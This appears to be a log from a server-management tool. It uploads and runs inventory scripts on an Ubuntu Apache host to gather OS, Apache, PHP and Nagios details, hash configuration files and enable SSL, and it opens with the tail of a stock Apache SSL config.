	#   Certificate Revocation Lists (CRL):
	#   Set the CA revocation path where to find CA CRLs for client
	#   authentication or alternatively one huge file containing all
	#   of them (file must be PEM encoded)
	#   Note: Inside SSLCARevocationPath you need hash symlinks
	#         to point to the certificate files. Use the provided
	#         Makefile to update the hash symlinks after changes.
	#SSLCARevocationPath /etc/apache2/ssl.crl/
	#SSLCARevocationFile /etc/apache2/ssl.crl/ca-bundle.crl

	#   Client Authentication (Type):
	#   Client certificate verification type and depth.  Types are
	#   none, optional, require and optional_no_ca.  Depth is a
	#   number which specifies how deeply to verify the certificate
	#   issuer chain before deciding the certificate is not valid.
	#SSLVerifyClient require
	#SSLVerifyDepth  10

	#   SSL Engine Options:
	#   Set various options for the SSL engine.
	#   o FakeBasicAuth:
	#    Translate the client X.509 into a Basic Authorisation.  This means that
	#    the standard Auth/DBMAuth methods can be used for access control.  The
	#    user name is the `one line' version of the client's X.509 certificate.
	#    Note that no password is obtained from the user. Every entry in the user
	#    file needs this password: `xxj31ZMTZzkVA'.
	#   o ExportCertData:
	#    This exports two additional environment variables: SSL_CLIENT_CERT and
	#    SSL_SERVER_CERT. These contain the PEM-encoded certificates of the
	#    server (always existing) and the client (only existing when client
	#    authentication is used). This can be used to import the certificates
	#    into CGI scripts.
	#   o StdEnvVars:
	#    This exports the standard SSL/TLS related `SSL_*' environment variables.
	#    Per default this exportation is switched off for performance reasons,
	#    because the extraction step is an expensive operation and is usually
	#    useless for serving static content. So one usually enables the
	#    exportation for CGI and SSI requests only.
	#   o OptRenegotiate:
	#    This enables optimized SSL connection renegotiation handling when SSL
	#    directives are used in per-directory context.
	#SSLOptions +FakeBasicAuth +ExportCertData +StrictRequire
	<FilesMatch "\.(?:cgi|shtml|phtml|php)$">
		SSLOptions +StdEnvVars
	</FilesMatch>
	<Directory /usr/lib/cgi-bin>
		SSLOptions +StdEnvVars
	</Directory>
</VirtualHost>




(gzipped output)


MD5(/etc/apache2/apache2.conf)= 354c9e6d2b88a0a3e0548f853840674c
MD5(/etc/apache2/ports.conf)= e0eadfd8b9250d90d5c3004171eb78f6
MD5(/etc/apache2/sites-available/hostz_stoughton_us.conf)= 5184a155abacda25fdd0fe337c05c048
MD5(/etc/ssl/certs/ecea81f90eb664107ec66742d2c0036d)= 52dda690f85fbebe5c01c01e6531b898
MD5(/etc/apache2/sites-available/hopeinstoughton_hymns_org.conf)= a008b1d959ff54c814ddd2d3374caaa7
MD5(/etc/ssl/certs/51ff58e8c1fdb83e589e0546356f00d4)= c29d84131eaa78ae6de265322455160a
MD5(/etc/apache2/sites-available/hostz_church.conf)= 658db80c433869cf04aa6b47d3017a52
MD5(/etc/ssl/certs/hostz)= 0fb409790b96d8fbbd847223dae3c121
MD5(/etc/apache2/sites-available/default-ssl.conf)= 58d23841f0ea37f6c3c1f1c7bda9c6d7
MD5(/etc/ssl/certs/ssl-cert-snakeoil.pem)= 6fd0075a430840c023780838db658a0c
MD5(/etc/apache2/sites-available/hopeinstoughton_cdn3_org.conf)= 74bfe5f347fa1ad20c501d5e44136f27
MD5(/etc/ssl/certs/0660cc0c014b1256b25525c3494eafa0)= 2ed97c7bdb5bb4d85b10881edae0c5b2
MD5(/etc/apache2/sites-available/hopeinstoughton_internal-api_org.conf)= d147f4a08d63d10749c6fba967c2c8af
MD5(/etc/ssl/certs/0660cc0c014b1256b25525c3494eafa0)= 2ed97c7bdb5bb4d85b10881edae0c5b2
MD5(/etc/apache2/sites-available/hopeinstoughton_mixer_org.conf)= cc24533683eb89420b0559cfbdc7e448
MD5(/etc/ssl/certs/490fd86317cc9a7ba4710967bbbfc2a7)= 5d32c626c6525ceb84cf2109fab6a447
MD5(/etc/apache2/sites-available/hopeinstoughton_cygnus_org.conf)= 5d929307ffa168be6c64c9e93d9cc35f
MD5(/etc/ssl/certs/de5c0e727038623f544d9b5f10eaf734)= 07d1aaebdd411de9016fd4325a87df18
link(/etc/apache2/sites-enabled/hostz_stoughton_us.conf)= /etc/apache2/sites-available/hostz_stoughton_us.conf
link(/etc/apache2/sites-enabled/hopeinstoughton_hymns_org.conf)= /etc/apache2/sites-available/hopeinstoughton_hymns_org.conf
link(/etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf)= /etc/apache2/sites-available/hopeinstoughton_cdn3_org.conf
link(/etc/apache2/sites-enabled/hopeinstoughton_mixer_org.conf)= /etc/apache2/sites-available/hopeinstoughton_mixer_org.conf
link(/etc/apache2/sites-enabled/hopeinstoughton_cygnus_org.conf)= /etc/apache2/sites-available/hopeinstoughton_cygnus_org.conf




STDERR:
/tmp/pkp554543:12: SyntaxWarning: invalid escape sequence '\s'
  match = re.search('sslcertificatefile\s+(.*?)$', v, flags=re.IGNORECASE)


2025-12-23 15:01:11: Establishing a connection
2025-12-23 15:10:21: Establishing a connection
2025-12-23 15:10:26: Establishing a connection
2025-12-23 15:10:26: Performing Server Status
2025-12-23 15:10:26: 

PUT: /tmp/pkp388439

#!/bin/bash
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	cat $1 >> $temp_file
	echo >> $temp_file
}
show_hostname() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	hostname >> $temp_file
	echo >> $temp_file
}
show_arc() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	uname -m >> $temp_file
	echo >> $temp_file
}
show_uname() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	uname -r -s >> $temp_file
	echo >> $temp_file
}

if [ -f /etc/centos-release ]; then
	show_file /etc/centos-release
fi
if [ -f /etc/debian_version ]; then
	show_file /etc/debian_version
fi
if [ -f /etc/redhat-release ]; then
	show_file /etc/redhat-release
fi
if [ -f /etc/system-release ]; then
	show_file /etc/system-release
fi
if [ -f /etc/lsb-release ]; then
	show_file /etc/lsb-release
fi
if [ -f /etc/os-release ]; then
	show_file /etc/os-release
fi
if [ -e /proc/swaps ]; then
	show_file /proc/swaps
fi

show_hostname 'hostname'
show_arc 'architecture'
show_uname 'uname'

gzip -cn9 $temp_file
rm $temp_file

2025-12-23 15:10:26: 

chmod 755 /tmp/pkp388439; /tmp/pkp388439; rm /tmp/pkp388439

2025-12-23 15:10:26: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/debian_version
trixie/sid

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/lsb-release
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=24.04
DISTRIB_CODENAME=noble
DISTRIB_DESCRIPTION="Ubuntu 24.04.3 LTS"

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/os-release
PRETTY_NAME="Ubuntu 24.04.3 LTS"
NAME="Ubuntu"
VERSION_ID="24.04"
VERSION="24.04.3 LTS (Noble Numbat)"
VERSION_CODENAME=noble
ID=ubuntu
ID_LIKE=debian
HOME_URL="https://www.ubuntu.com/"
SUPPORT_URL="https://help.ubuntu.com/"
BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"
PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
UBUNTU_CODENAME=noble
LOGO=ubuntu-logo

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/proc/swaps
Filename				Type		Size		Used		Priority

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
hostname
condor

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
architecture
x86_64

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
uname
Linux 6.8.0-90-generic



2025-12-23 15:10:26: 

PUT: /tmp/pkp219411

#!/bin/bash

# get service version
apache_output() {
	sub_file=$(mktemp)
	script -q -c "$1 -V" $sub_file
	cat $sub_file
	rm $sub_file
}
apache_output2() {
	$1 -V
}

apachectl_output() {
	temp_file=$(mktemp)
	apachectl -t -D DUMP_RUN_CFG > $temp_file 2>&1
	file=`awk -F\" '/PidFile:/{print $2}' $temp_file`
	pid=`cat $file`;
	cat $temp_file
	rm $temp_file

# also get user/group
	echo pid: $pid

	if [ -d "/etc/apache2/sites-available" ]; then
		echo available=sites-available
	elif [ -d "/etc/apache2/hosts.d" ]; then
		echo available=hosts.d
	elif [ -d "/etc/apache2/conf.d" ]; then
		echo available=conf.d
	fi
	
	echo [ps]
	ps up $pid
}

apachectl_enabled() {
	temp_file=$(mktemp)
	apachectl -t -D DUMP_MODULES > $temp_file 2>&1
	echo [modules]
	cat $temp_file
	rm $temp_file
}

if [[ "$OSTYPE" == "darwin"* ]]; then
	echo [apache2]
	apache_output2 /usr/sbin/httpd

elif [ -e "/usr/sbin/httpd" ]; then
	echo [httpd]
	apache_output /usr/sbin/httpd
 
    if [ -d "/etc/httpd/conf.d" ]; then
		echo available=conf.d
	fi
fi

if [ -e "/usr/sbin/apache2" ]; then
	echo [apache2]
	source /etc/apache2/envvars
	apache_output2 /usr/sbin/apache2
	apachectl_output
	apachectl_enabled
fi


2025-12-23 15:10:26: 

chmod 755 /tmp/pkp219411; /tmp/pkp219411; rm /tmp/pkp219411

2025-12-23 15:10:26: 


[apache2]
Server version: Apache/2.4.58 (Ubuntu)
Server built:   2025-08-11T11:10:09
Server's Module Magic Number: 20120211:129
Server loaded:  APR 1.7.2, APR-UTIL 1.6.3, PCRE 10.42 2022-12-11
Compiled using: APR 1.7.2, APR-UTIL 1.6.3, PCRE 10.42 2022-12-11
Architecture:   64-bit
Server MPM:     prefork
  threaded:     no
    forked:     yes (variable process count)
Server compiled with....
 -D APR_HAS_SENDFILE
 -D APR_HAS_MMAP
 -D APR_HAVE_IPV6 (IPv4-mapped addresses enabled)
 -D APR_USE_PROC_PTHREAD_SERIALIZE
 -D APR_USE_PTHREAD_SERIALIZE
 -D SINGLE_LISTEN_UNSERIALIZED_ACCEPT
 -D APR_HAS_OTHER_CHILD
 -D AP_HAVE_RELIABLE_PIPED_LOGS
 -D DYNAMIC_MODULE_LIMIT=256
 -D HTTPD_ROOT="/etc/apache2"
 -D SUEXEC_BIN="/usr/lib/apache2/suexec"
 -D DEFAULT_PIDLOG="/var/run/apache2.pid"
 -D DEFAULT_SCOREBOARD="logs/apache_runtime_status"
 -D DEFAULT_ERRORLOG="logs/error_log"
 -D AP_TYPES_CONFIG_FILE="mime.types"
 -D SERVER_CONFIG_FILE="apache2.conf"
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
pid: 11905
available=sites-available
[ps]
USER         PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root       11905  0.1  0.9 237184 39220 ?        Ss   15:05   0:00 /usr/sbin/apache2 -k start
[modules]
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
Loaded Modules:
 core_module (static)
 so_module (static)
 watchdog_module (static)
 http_module (static)
 log_config_module (static)
 logio_module (static)
 version_module (static)
 unixd_module (static)
 access_compat_module (shared)
 alias_module (shared)
 auth_basic_module (shared)
 authn_core_module (shared)
 authn_file_module (shared)
 authz_core_module (shared)
 authz_host_module (shared)
 authz_user_module (shared)
 autoindex_module (shared)
 deflate_module (shared)
 dir_module (shared)
 env_module (shared)
 filter_module (shared)
 headers_module (shared)
 mime_module (shared)
 mpm_prefork_module (shared)
 negotiation_module (shared)
 php_module (shared)
 reqtimeout_module (shared)
 rewrite_module (shared)
 setenvif_module (shared)
 socache_shmcb_module (shared)
 ssl_module (shared)
 status_module (shared)


2025-12-23 15:10:26: 

SERVER INFO (php_model): array (
  'debian' => 1,
  'redhat' => 0,
  'name' => 'condor',
  'arch' => 'x86_64',
  'raspbian' => 0,
  'osdesc' => 'Ubuntu 24.04.3 LTS',
  'rel' => '24.04.3',
  'mac' => 0,
  'distro' => 'ubuntu',
  'web' => 
  array (
    'apache2' => 
    array (
      'conf' => 'apache2.conf',
      'config' => '/etc/apache2',
      'user' => 'www-data',
      'group' => 'www-data',
      'available' => 'sites-available',
      'running' => 1,
    ),
    'modules' => 
    array (
      0 => 'core_module',
      1 => 'so_module',
      2 => 'watchdog_module',
      3 => 'http_module',
      4 => 'log_config_module',
      5 => 'logio_module',
      6 => 'version_module',
      7 => 'unixd_module',
      8 => 'access_compat_module',
      9 => 'alias_module',
      10 => 'auth_basic_module',
      11 => 'authn_core_module',
      12 => 'authn_file_module',
      13 => 'authz_core_module',
      14 => 'authz_host_module',
      15 => 'authz_user_module',
      16 => 'autoindex_module',
      17 => 'deflate_module',
      18 => 'dir_module',
      19 => 'env_module',
      20 => 'filter_module',
      21 => 'headers_module',
      22 => 'mime_module',
      23 => 'mpm_prefork_module',
      24 => 'negotiation_module',
      25 => 'php_module',
      26 => 'reqtimeout_module',
      27 => 'rewrite_module',
      28 => 'setenvif_module',
      29 => 'socache_shmcb_module',
      30 => 'ssl_module',
      31 => 'status_module',
    ),
  ),
)


2025-12-23 15:10:26: 

PUT: /tmp/pkp768609

#!/bin/bash
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	cat $1 >> $temp_file
	echo >> $temp_file
}

# show available php versions
if [ -f "/usr/bin/apt-get" ]; then
	if ! grep -q -r ondrej /etc/apt/sources.list.d/*; then
		if [ ! -f "/usr/bin/add-apt-repository" ]; then
			apt-get -y install software-properties-common > $temp_file 2>&1
		fi
		apt-key adv --keyserver keyserver.ubuntu.com --recv-keys 4F4EA0AAE5267A6C  > $temp_file 2>&1
		add-apt-repository -y ppa:ondrej/php > $temp_file 2>&1
		apt-get update > $temp_file 2>&1
	fi
	echo $BOUNDARY >> $temp_file
	echo apt-get >> $temp_file
	apt-cache search --names-only '^php[0-9].[0-9]$' >> $temp_file
	echo >> $temp_file
fi

gzip -cn9 $temp_file
rm $temp_file


2025-12-23 15:10:26: 

chmod 755 /tmp/pkp768609; /tmp/pkp768609; rm /tmp/pkp768609

2025-12-23 15:10:26: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
apt-get
php5.6 - server-side, HTML-embedded scripting language (metapackage)
php7.0 - server-side, HTML-embedded scripting language (metapackage)
php7.1 - server-side, HTML-embedded scripting language (metapackage)
php7.2 - server-side, HTML-embedded scripting language (metapackage)
php7.3 - server-side, HTML-embedded scripting language (metapackage)
php7.4 - server-side, HTML-embedded scripting language (metapackage)
php8.0 - server-side, HTML-embedded scripting language (metapackage)
php8.1 - server-side, HTML-embedded scripting language (metapackage)
php8.2 - server-side, HTML-embedded scripting language (metapackage)
php8.3 - server-side, HTML-embedded scripting language (metapackage)
php8.4 - server-side, HTML-embedded scripting language (metapackage)
php8.5 - server-side, HTML-embedded scripting language (metapackage)



2025-12-23 15:10:26: 

PUT: /tmp/pkp866395

#!/bin/bash
	dest=`dpkg -L php5.6-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php5.6-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php5.6]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.0-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.0-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.0]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.1-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.1-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.1]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.2-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.2-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.2]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.3-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.3-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.3]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.0-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.0-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.0]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.0-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.0-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.0]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.1-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.1-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.1]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.1-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.1-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.1]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.3-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.3-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.3]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.3-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.3-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.3]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.5-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.5-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.5]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.5-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.5-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.5]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi



2025-12-23 15:10:26: 

chmod 755 /tmp/pkp866395; /tmp/pkp866395; rm /tmp/pkp866395

2025-12-23 15:10:27: 




2025-12-23 15:10:27: 

PUT: /tmp/pkp850954

#!/usr/bin/python3
import gzip, sys, os, glob, hashlib, tempfile, codecs

jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def collectCfgFiles(filename):
        config = []
        f = open(filename, 'r')
        file = f.readlines()
        for v in file:
                v = v.rstrip()
                if v != '' and v[0] != '#':
                        p = v.find('=')
                        if p > -1:
                                key = v[:p].strip()
                                value=v[p+1:].strip()
                                if key == 'cfg_file':
                                        config.append(value)
        f.close()
        return config

def generate_hash(filename, type = 'MD5'):
        digest = hashlib.md5(open(filename, 'rb').read()).hexdigest()
        payload = type + '(' + filename + ')= ' + digest + "\n"
        gz.write(payload.encode('cp437'))

def scan_folder(folder):
        if os.path.isdir(folder):
                filelist = glob.glob(folder + '/check*')
                for filename in filelist:
                        generate_hash(filename, 'bin')
        return

try:
        try:
                filelist = collectCfgFiles('/usr/local/nagios/etc/nagios.cfg')
                for file in filelist:
                        generate_hash(file)

        except:
                pass

        scan_folder('/usr/local/nagios/libexec')

finally:
        gz.close();
        
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)
        

2025-12-23 15:10:27: 

chmod 755 /tmp/pkp850954; /tmp/pkp850954; rm /tmp/pkp850954

2025-12-23 15:10:27: 
(gzipped output)


bin(/usr/local/nagios/libexec/check_real)= a208d962703acc8eb82628e700ba7670
bin(/usr/local/nagios/libexec/check_ssh)= f8457681b23131f4de61f082c762b1f2
bin(/usr/local/nagios/libexec/check_ntp_time)= 228b0adc1454e6da73ab3f9dc1d4f5d2
bin(/usr/local/nagios/libexec/check_dummy)= a41368d0c0be00650bb36723478b4029
bin(/usr/local/nagios/libexec/check_ssmtp)= 876c26f0d49775e21121f0a186786eed
bin(/usr/local/nagios/libexec/check_pop)= 876c26f0d49775e21121f0a186786eed
bin(/usr/local/nagios/libexec/check_imap)= 876c26f0d49775e21121f0a186786eed
bin(/usr/local/nagios/libexec/check_wave)= 43070cb5a8919450dc9dddfaad1372c5
bin(/usr/local/nagios/libexec/check_ntp_peer)= 1d83b10ac93ab4b85c7c2cf4a4c0433e
bin(/usr/local/nagios/libexec/check_debian_packages)= c962dac5b49c230319a8f132131c5818
bin(/usr/local/nagios/libexec/check_ifstatus)= 2d1588877bbecf63a32b8450a9392703
bin(/usr/local/nagios/libexec/check_rpc)= d950b01072804e29ac7f5f081aa982db
bin(/usr/local/nagios/libexec/check_simap)= 876c26f0d49775e21121f0a186786eed
bin(/usr/local/nagios/libexec/check_ide_smart)= d57d84c48726cdce1e7ad28eaec0e399
bin(/usr/local/nagios/libexec/check_breeze)= 36e02260e64fa5199510d9dc5842d980
bin(/usr/local/nagios/libexec/check_dns)= 28f26794d4890902cf74bd66bda2fcb6
bin(/usr/local/nagios/libexec/check_php.php)= ea35782ed63579f5f868c61f2e762602
bin(/usr/local/nagios/libexec/check_ntp)= 9265db043216413ea781252a4353a709
bin(/usr/local/nagios/libexec/check_nagios)= 2009d0ac0a6806bade7ea03bf247aa35
bin(/usr/local/nagios/libexec/check_overcr)= d5319203d3a47b40f80ca4847c24899c
bin(/usr/local/nagios/libexec/check_nntp)= 876c26f0d49775e21121f0a186786eed
bin(/usr/local/nagios/libexec/check_spop)= 876c26f0d49775e21121f0a186786eed
bin(/usr/local/nagios/libexec/check_ftp)= 876c26f0d49775e21121f0a186786eed
bin(/usr/local/nagios/libexec/check_oracle)= 16b08209814208bb2b7c0f352e0219c8
bin(/usr/local/nagios/libexec/check_swap)= d5cca138620a7cc9d699df5121d28e71
bin(/usr/local/nagios/libexec/check_sensors)= 7c1111569b1fbbb87ed8eb57f57c09d0
bin(/usr/local/nagios/libexec/check_jabber)= 876c26f0d49775e21121f0a186786eed
bin(/usr/local/nagios/libexec/check_by_ssh)= 029b9262c888924c32b7eaad5806f9ef
bin(/usr/local/nagios/libexec/check_udp)= 876c26f0d49775e21121f0a186786eed
bin(/usr/local/nagios/libexec/check_dig)= d84cbfbbf6b3ebc8eac06547e395df37
bin(/usr/local/nagios/libexec/check_http)= cca18c656fc43a38c0e04355390d0c7c
bin(/usr/local/nagios/libexec/check_nt)= 6b449c3a06cf1670990050fede189d20
bin(/usr/local/nagios/libexec/check_disk_smb)= 5261d05672787c38c34ca67a0b83edf8
bin(/usr/local/nagios/libexec/check_mrtg)= 3bc768324858e54ce7eaad07bbc34386
bin(/usr/local/nagios/libexec/check_clamd)= 876c26f0d49775e21121f0a186786eed
bin(/usr/local/nagios/libexec/check_users)= e3ca9d34b24fa489dc386cc095afbf80
bin(/usr/local/nagios/libexec/check_ircd)= 022af53fbdb44f8b8b75f2713e8aa35b
bin(/usr/local/nagios/libexec/check_procs)= 2d1dd39597dfd9d1570a9729ee94cf31
bin(/usr/local/nagios/libexec/check_log)= 7a0c4828d6f7ea76d98a51def16460ee
bin(/usr/local/nagios/libexec/check_autoupdate.php)= 67b27ce05c96a1d7aeac8c220cd103d5
bin(/usr/local/nagios/libexec/check_mailq)= 078442ad36849198a80b539a65e57dc3
bin(/usr/local/nagios/libexec/check_ssl_cert.php)= a5e2b217dabfd686330a66f41b0d4d90
bin(/usr/local/nagios/libexec/check_nwstat)= 72cf90d29f30cbf64fa26a7b783ebcea
bin(/usr/local/nagios/libexec/check_mrtgtraf)= 3ec6aee6b91efef2e6be8f06e517d9ce
bin(/usr/local/nagios/libexec/check_tcp)= 876c26f0d49775e21121f0a186786eed
bin(/usr/local/nagios/libexec/check_file_exists)= 499adf459b71d925c1b3a6dbb5955cf9
bin(/usr/local/nagios/libexec/check_apt)= acba4ebce0ce80d56050856c5ab558ba
bin(/usr/local/nagios/libexec/check_time)= b90f5e9584e85ff347ae12e4096cdbf7
bin(/usr/local/nagios/libexec/check_smtp)= 6d7aa9f1bd10515cb08b8ab9c05f749c
bin(/usr/local/nagios/libexec/check_ping)= 9d63a2e9262bc9721a8b0eb995ea8559
bin(/usr/local/nagios/libexec/check_flexlm)= 4e3c614a3494e4e601b0624b4bc8e462
bin(/usr/local/nagios/libexec/check_service)= 8e2475317d2e7a9c6645dba25f338011
bin(/usr/local/nagios/libexec/check_cluster)= 75e987818e1e2f73dc8300297e6c0dd5
bin(/usr/local/nagios/libexec/check_disk)= d5c6bf95d43c30a930f8e9340ae9ba04
bin(/usr/local/nagios/libexec/check_uptime)= a980a5b1081d4a02352bda0320328054
bin(/usr/local/nagios/libexec/check_icmp)= 9220600cb72e3c001d36a8ba3a5b3934
bin(/usr/local/nagios/libexec/check_nntps)= 876c26f0d49775e21121f0a186786eed
bin(/usr/local/nagios/libexec/check_load)= 60967d2271a80f3bf0baeef6dbc2a72e
bin(/usr/local/nagios/libexec/check_ifoperstatus)= 38508203585e8cbbda9f3031a1940596
bin(/usr/local/nagios/libexec/check_ups)= 31f7059bae69435cdc18d740c9656e5b
bin(/usr/local/nagios/libexec/check_file_age)= 2e331a3782daf78c7b45d7003b6be288
bin(/usr/local/nagios/libexec/check_ssl_validity)= eeaee8f9f357138a49640d4f416530ce
bin(/usr/local/nagios/libexec/check_dhcp)= f768437073ff2024e714a0c3fc20ad2a


2025-12-23 15:10:27: 

PUT: /tmp/pkp811593

#!/bin/bash

install=
if [ -f "/usr/bin/yum" ]; then
	if [ ! -f "/usr/bin/openssl" ]; then
		install="$install openssl"
	fi
	rpm -qi mod_ssl > /dev/null 2>&1
	retVal=$?
	if [ $retVal -ne 0 ]; then
		install="$install mod_ssl"
	fi
	if [ ! -z $install ]; then
		yum -y install $install
		systemctl restart apache2
		echo status=restarted
	else
		echo status=ok
	fi
elif [ -f "/usr/bin/apt-get" ]; then

	if [ ! -f "/usr/bin/openssl" ]; then
		apt-get update
		apt-get -y install openssl
	fi

	if [ ! -f "/etc/apache2/mods-enabled/ssl.conf" ] ; then
		a2enmod -q ssl
		systemctl restart apache2
	fi
	echo status=ok
fi



2025-12-23 15:10:27: 

chmod 755 /tmp/pkp811593; /tmp/pkp811593; rm /tmp/pkp811593

2025-12-23 15:10:27: 


status=ok


2025-12-23 15:10:27: 

PUT: /tmp/pkp651827

#!/usr/bin/python3
import os, sys, glob, hashlib, re, gzip, tempfile, codecs

jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def generate_hash_certificate(content, folder):
    file = content.split("\n")
    for v in file:
        v = v.strip()
        if v != '' and v[0] != '#':
            match = re.search('sslcertificatefile\s+(.*?)$', v, flags=re.IGNORECASE)
            if match is not None:
                filename = match.group(1)
                filename = normalize_path(folder, filename, True)
                generate_hash(filename, folder)

def normalize_path(basepath, relativepath, isFile):
    if relativepath[:1] == '/':
        return relativepath
    if isFile:
        basename = os.path.basename(relativepath)
        relativepath = os.path.dirname(relativepath)
    else:
        basename = ''

    basepath = basepath.split('/')
    relativepath = relativepath.split('/')
    for element in relativepath:
        if element == '..':
            basepath.pop()
        elif element != '.' and element != '':
            basepath.append(element)
    basepath = '/'.join(basepath)
    if basename != '':
        basepath += '/' + basename
    return basepath

def generate_hash(filename, folder):
    if os.path.islink(filename):
        target = os.readlink(filename)
        target = normalize_path(folder, target, True)
        payload = 'link(' + filename + ')= ' + target + "\n"
        gz.write(payload.encode('cp437'))
        return
    content = open(filename).read()
    filehash = hashlib.md5()
    filehash.update(content.encode('cp437'))
    payload = 'MD5(' + filename + ')= ' + filehash.hexdigest() + "\n"
    gz.write(payload.encode('cp437'))
    lower_content = content.lower()
    if lower_content.find('sslcertificatefile') > -1:
        generate_hash_certificate(content, folder)
    return

def scan_folder(folder):
    if os.path.isdir(folder):
        filelist = glob.glob(folder + '/*.conf')
        for filename in filelist:
            generate_hash(filename, folder)
    return

try:
	APACHE_ROOT = '/etc/apache2'
	scan_folder(APACHE_ROOT)
	scan_folder(APACHE_ROOT + '/conf.d')
	scan_folder(APACHE_ROOT + '/conf.modules.d')

	scan_folder(APACHE_ROOT + '/sites-available')
	scan_folder(APACHE_ROOT + '/sites-enabled')
	scan_folder(APACHE_ROOT + '/hosts.d')

finally:
    gz.close()

